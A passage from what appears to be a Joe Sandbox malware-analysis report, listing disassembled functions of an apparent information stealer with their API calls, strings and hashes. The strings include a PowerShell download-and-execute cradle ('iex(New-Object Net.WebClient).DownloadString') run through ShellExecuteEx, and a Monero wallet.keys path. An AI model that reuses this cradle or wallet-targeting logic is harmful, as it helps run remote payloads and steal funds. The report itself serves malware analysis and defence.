RegQueryValueExA.ADVAPI32(000F76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 000F777A
RegCloseKey.ADVAPI32(000F76B9), ref: 000F7784

Strings

CurrentBuildNumber, xrefs: 000F7771

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 08385c6aa84bdb648756ac48b0d373798e368827c6bd4e416177bd33a5bc1c12
Instruction ID: ad00f23c22612a909f0669c092bb3abe8ee481180e5ab5618c58c81cae674acb
Opcode Fuzzy Hash: 08385c6aa84bdb648756ac48b0d373798e368827c6bd4e416177bd33a5bc1c12
Instruction Fuzzy Hash: 3A0167B5A40308BBDB11DBE4DC49FBEB7BCEB48700F104558FB05A7281D77055018B52

Function 000E99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000E99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 000E9A11
LocalAlloc.KERNEL32(00000040,?), ref: 000E9A31
ReadFile.KERNEL32(000000FF,?,00000000,000E148F,00000000), ref: 000E9A5A
LocalFree.KERNEL32(000E148F), ref: 000E9A90
CloseHandle.KERNEL32(000000FF), ref: 000E9A9A

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: d0b2e48abc938dbe4a17fcb9069a244a0cd24827b8dad9c4f0329355754e3474
Instruction ID: 1df1f5221b5e38f10b9baf6b4f4c36a3e5c6278344405503b655754f9d3d6918
Opcode Fuzzy Hash: d0b2e48abc938dbe4a17fcb9069a244a0cd24827b8dad9c4f0329355754e3474
Instruction Fuzzy Hash: A3311AB4A00209EFDB24CF95D985BEE77F9FF48340F148168E915A7290D774AA41CFA2

Function 000F4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0122E2A8), ref: 000F47DB

Part of subcall function 000F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 000F8E0B

lstrcat.KERNEL32(?,00000000), ref: 000F4801
lstrcat.KERNEL32(?,?), ref: 000F4820
lstrcat.KERNEL32(?,?), ref: 000F4834
lstrcat.KERNEL32(?,0121B680), ref: 000F4847
lstrcat.KERNEL32(?,?), ref: 000F485B
lstrcat.KERNEL32(?,0122D8E0), ref: 000F486F

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000F8D90: GetFileAttributesA.KERNEL32(00000000,?,000E1B54,?,?,0010564C,?,?,00100E1F), ref: 000F8D9F

Part of subcall function 000F4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 000F4580
Part of subcall function 000F4570: RtlAllocateHeap.NTDLL(00000000), ref: 000F4587
Part of subcall function 000F4570: wsprintfA.USER32 ref: 000F45A6
Part of subcall function 000F4570: FindFirstFileA.KERNEL32(?,?), ref: 000F45BD

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 309ad9460adf9e4d47473455f9dfd3b442a03ca676dec698278b8a7c59da8a08
Instruction ID: 151fe887fa0978714deed8a825a086e8f02e12ed3ec7526895cc565048a2fdb8
Opcode Fuzzy Hash: 309ad9460adf9e4d47473455f9dfd3b442a03ca676dec698278b8a7c59da8a08
Instruction Fuzzy Hash: 8A3162B690021C97CB21F7A0DC85EFD737CAB48700F44458DF71996082EEB4D6899B91

Function 000F2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

ShellExecuteEx.SHELL32(0000003C), ref: 000F2D85

Strings

')", xrefs: 000F2CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 000F2D04
<, xrefs: 000F2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 000F2CC4

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 3dda2fe2f55eea2c4855bffc05c0fbd4aa6f69dc3ec232fd6ec3166032cb9c81
Instruction ID: ca81d7999127304de09ef27fd0e554e248d41a1350033870a6b78832f9b9d47e
Opcode Fuzzy Hash: 3dda2fe2f55eea2c4855bffc05c0fbd4aa6f69dc3ec232fd6ec3166032cb9c81
Instruction Fuzzy Hash: EA41E0B1D0020C9ADB14FBA0C892BFDB774AF15340F508019E20AA6596DFB42A4BDF92

Function 000E9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 000E9F41

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Strings

v10, xrefs: 000E9EA3
v20, xrefs: 000E9E21
ERROR_RUN_EXTRACTOR, xrefs: 000E9E67
@, xrefs: 000E9EF1

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 80ca313faed1369e7637eaacaef1d7976506a4dc6d68cc2d4b707b6cbdce1ae4
Instruction ID: fefae4792f6123b45c7e4b868998d759eab194f6e30ff8e0bc668c4011194eaa
Opcode Fuzzy Hash: 80ca313faed1369e7637eaacaef1d7976506a4dc6d68cc2d4b707b6cbdce1ae4
Instruction Fuzzy Hash: B4613171A1024CEFDB24EFA5CC95FED7775AF85340F008018FA096B592DBB46A06CB52

Function 000F40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0122D740,00000000,00020119,?), ref: 000F40F4
RegQueryValueExA.ADVAPI32(?,0122E2F0,00000000,00000000,00000000,000000FF), ref: 000F4118
RegCloseKey.ADVAPI32(?), ref: 000F4122
lstrcat.KERNEL32(?,00000000), ref: 000F4147
lstrcat.KERNEL32(?,0122E380), ref: 000F415B

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 790e8db92b5c816b4a6dd4a670463a2d6fb1f24297a9acd876a16479efa38aa8
Instruction ID: 0a14eee3d803910716f2e0d2da5fc14a338c3f8441f4f05a3792a86b3c43db2e
Opcode Fuzzy Hash: 790e8db92b5c816b4a6dd4a670463a2d6fb1f24297a9acd876a16479efa38aa8
Instruction Fuzzy Hash: 3D4188B6D00208ABDB25EBA0DC46FFE737DAB88300F00455CB71556182EA759B898B92

Function 000F7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 000F7E37
RtlAllocateHeap.NTDLL(00000000), ref: 000F7E3E
RegOpenKeyExA.ADVAPI32(80000002,0121BF68,00000000,00020119,?), ref: 000F7E5E
RegQueryValueExA.ADVAPI32(?,0122D9A0,00000000,00000000,000000FF,000000FF), ref: 000F7E7F
RegCloseKey.ADVAPI32(?), ref: 000F7E92

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: c4194906675bb7c51d887ba21a9d03abdab0ea2fa3295c78e1ef1f9578104348
Instruction ID: d33fba5244a5e82cef13cca74370d3a8d4ea88cb42090cb7f5ce4858bb407509
Opcode Fuzzy Hash: c4194906675bb7c51d887ba21a9d03abdab0ea2fa3295c78e1ef1f9578104348
Instruction Fuzzy Hash: C2116AB1A44609EBD725CB98DD4AFBBBBBCEB48B10F10411AF705A7680D77458019BA2

Function 000F9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0122E008,?,?,?,000F140C,?,0122E008,00000000), ref: 000F926C
lstrcpyn.KERNEL32(0032AB88,0122E008,0122E008,?,000F140C,?,0122E008), ref: 000F9290
lstrlen.KERNEL32(?,?,000F140C,?,0122E008), ref: 000F92A7
wsprintfA.USER32 ref: 000F92C7

Strings

%s%s, xrefs: 000F92B5

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 8ff2283d6a356099ef3d698f3f61e3761cf72fdec8f13c21996f5dfe47cd21f2
Instruction ID: 4aa52ebf4d5e7b488b4c40bdd634cca039b1bd31345ebe9219039147a0c61342
Opcode Fuzzy Hash: 8ff2283d6a356099ef3d698f3f61e3761cf72fdec8f13c21996f5dfe47cd21f2
Instruction Fuzzy Hash: 2B01167550060CFFCB15DFECE988EAE7BB9EB48350F108148F9098B240C731AA41DB91

Function 000E12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 000E12B4
RtlAllocateHeap.NTDLL(00000000), ref: 000E12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 000E12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 000E12F5
RegCloseKey.ADVAPI32(?), ref: 000E12FF

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: c1b64b4e0fade9f136a575140635e07850b513c6f34082d8bebce5c3fd3250d1
Instruction ID: d370883152e7f3b95165360f548de9d974c764796c30a95081c02a5a09bbf33e
Opcode Fuzzy Hash: c1b64b4e0fade9f136a575140635e07850b513c6f34082d8bebce5c3fd3250d1
Instruction Fuzzy Hash: A101CDB9A40208BBDB15DFE4DC49FAEBBBCEB48701F108159FA05A7280D6759A028B51

Function 000FC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 000FC8EC
___crtLCMapStringA.LIBCMT ref: 000FC90C
___crtLCMapStringA.LIBCMT ref: 000FC931

Strings

, xrefs: 000FC896

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: bd999dbd967b09b5db5801b4ac08fd7c569eb07b744d06a68063af82b9218e78
Instruction ID: cef9557fbd2cbbced9f1506673c285c43a9a90416ab5dd207621bd0b24cd541e
Opcode Fuzzy Hash: bd999dbd967b09b5db5801b4ac08fd7c569eb07b744d06a68063af82b9218e78
Instruction Fuzzy Hash: BF41F8B110475C5EEB318B24CD89FFB7BE99F45704F1444E8EACA86582D2B19A45AF20

Function 000F6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 000F6663

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

ShellExecuteEx.SHELL32(0000003C), ref: 000F6726
ExitProcess.KERNEL32 ref: 000F6755

Strings

<, xrefs: 000F66D9

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
